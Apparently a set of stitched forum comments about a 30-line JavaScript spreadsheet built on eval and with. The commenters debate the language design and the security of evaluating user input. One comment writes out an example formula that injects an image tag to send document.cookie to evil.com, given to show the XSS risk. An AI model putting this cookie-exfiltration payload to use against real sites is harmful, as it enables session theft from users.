A spreadsheet in fewer than 30 lines of JavaScript, no library used

At least to this dev, it's pretty clear what each line is doing and how -- certainly clearer than what you mean by ugly.

> your meta-programming doesn't have to always be only eval and .bind in various incarnations

I don't think this statement makes a whole lot of sense except to the degree all meta-programming could be argued to be eval and bind in various incarnations. Certainly there's literally other options available for JS.

> unsafe, inconvenient and slow

Someone holding up Ruby as an example while complaining about safety and speed in other languages is... interesting.

> the "with" usage on which this hack is based is actively discouraged by everyone using JavaScript as it basically mixes in the object into the current scope

"with" gets a bad rap, and its blanket discouragement/deprecation may be as big a mistake as its original design. It's true that using it takes some thought about the potential scope ambiguities, and it's true that it could have been better designed (personally, I think an optional de-ambiguating dot-operator would have been a nice lightweight way to go), but it's also pretty useful, and once you take the time to understand what the possibly ambiguous cases are and what the decided-on rules are, it's not hard to work with.

> In a sane language, you do .instance_eval, and you narrow the scope to whatever the object contains.

The right instance scoping construct might've been one of several nice ways to go too, but certainly not the only sane option.

> this doesn't make them great.

No, apparently just... useful. Useful enough to build something like this. Certainly not great, though.

It'd be a bit like saying that C is a great language because someone wrote a raytracer that fits on a business card[0] using it.

[0] http://fabiensanglard.net/rayTracing_back_of_business_card/

Sadly, I can't really run python in the browser.

Note: This isn't criticism of your view nor am I taking sides. I am wondering --since you have a strong opinion on this front-- what you think the solution might look like.

I mean, are you looking at the idea of having something like python natively available at the browser?

    // Take an array of context dictionaries, and return a                                                                                      
    // function that evaluates a string in those contexts.                                                                                      
    // I fully realize how horrible this code is, and that                                                                                      
    // it only supports up to ten contexts. I feel terrible                                                                                     
    // about it, as I should, but I would feel even worse                                                                                       
    // if it were impossible to do this. But isn't there                                                                                        
    // a simpler way to do this is JavaScript? Maybe I                                                                                          
    // could use __proto__ inheritence, but I was hoping                                                                                        
    // to avoid.                                                                                                                                
    function evalInContextsFunction(_contexts) {
        var _contextCount = _contexts.length;
        if (_contextCount == 0) {
            return function evalInContexts(_text) {return eval(_text)};
        }
        with (_contexts[0] || {}) {
            if (_contextCount == 1) {
                return function evalInContexts(_text) {return eval(_text)};
            }
            with (_contexts[1] || {}) {
                if (_contextCount == 2) {
                    return function evalInContexts(_text) {return eval(_text)};
                }

Some are luckier than others... I suspect one of our major clients (one of the country's largest banks) will be stuck using IE8 and nothing but for the next few years at least. They only moved off IE6 recently due to it falling out of support next April, so there is a chance they'll stick with IE8 until 2019 (the year before it and Windows 7 drop out of extended support).

At least our other major clients (smaller financial institutions) have started to see sense. While they are stuck on IE8 due to some ancient internal code that won't work on anything more correct that are at least rolling out Chrome on their standard desktops as an alternate choice for everything that doesn't rely on old IE bugs.

Consider: =document.cookie, or =document.write('<img src="http://evil.com/'+document.cookie +'">');

eval of user input is just not safe, and the with statement also presents problems, such as =INPUT

You need to be familiar with how `with` handles some ambiguous cases in order to use it effectively and safely, `eval` can have some security and performance gotchas. And usually there are other ways to do many of the things you can do with either of them that don't have those pitfalls.

That said, I think the recommendation got out of control -- we have this bad habit of collapsing studies of problems with something into blanket declarations that they're evil.

Here we've got a demo/proof of concept where one of the key constraints going in was code size and using only native facilities. `eval` is saving the developer from writing a parser/expression evaluator, `with` makes it easy to use `eval` while keeping the data in a limited scope. A bigger spreadsheet app would have its own expression evaluator that uses, but using them here makes sense to keep things simple.

They also occasionally make sense in other contexts. Just make sure you really understand the problems involved and have strongly considered other options before you break them out.

Consider the formula =A1+A2

inside the getter we have:

    with(DATA) eval('A1+A2');

    eval('DATA.A1+DATA.A2');

    context = { foo: 1, bar: 2 };

    with (context) {
        foo = 2;
        bar = 3;
    }

    context = { foo: 1 };

    with (context) {
        foo = 2;
        bar = 3;
    }

In short, 'with' is pointy on both ends.

If you're needing with and have access to npm, use contextify, It'll save you a lot of effort!

But 30 lines of code, what do you expect? Now imagine jQuery type library with a community of developers and you get... Google Docs :-p

It would be nice if something like that existed, but with much richer features like the libraries above.

    elm.onkeydown = function(evt) {
        evt = evt || window.event;
        var keyCode = evt.keyCode || evt.which;
        if (keyCode == '13') {
            var nextid = this.id.charAt(0) + String.fromCharCode(this.id.charCodeAt(1)+1);
            document.getElementById(nextid).focus();
        }
    };

I'd place a bet that if this did happen, it would not be on a site that stores sensitive information. And even in the ridiculously unlikely case that it did, I would still not blame that on the Fiddle. This code is perfectly safe in the situation it's used in. The idea that minimal demos must cover every conceivable situation just seems really weird to me. Most places don't even generally require real production code to deal with out-of-scope situations. (For example, most Rails apps do not include code deal with the possibility that application_controller.rb has been replaced with malicious code even though that is a huge vulnerability if the Internet has write access to application_controller.rb. They rely on external measures to ensure that situation doesn't arise.)

> People copy code, the defaults should be safer.

There is no safer default to use here AFAIK.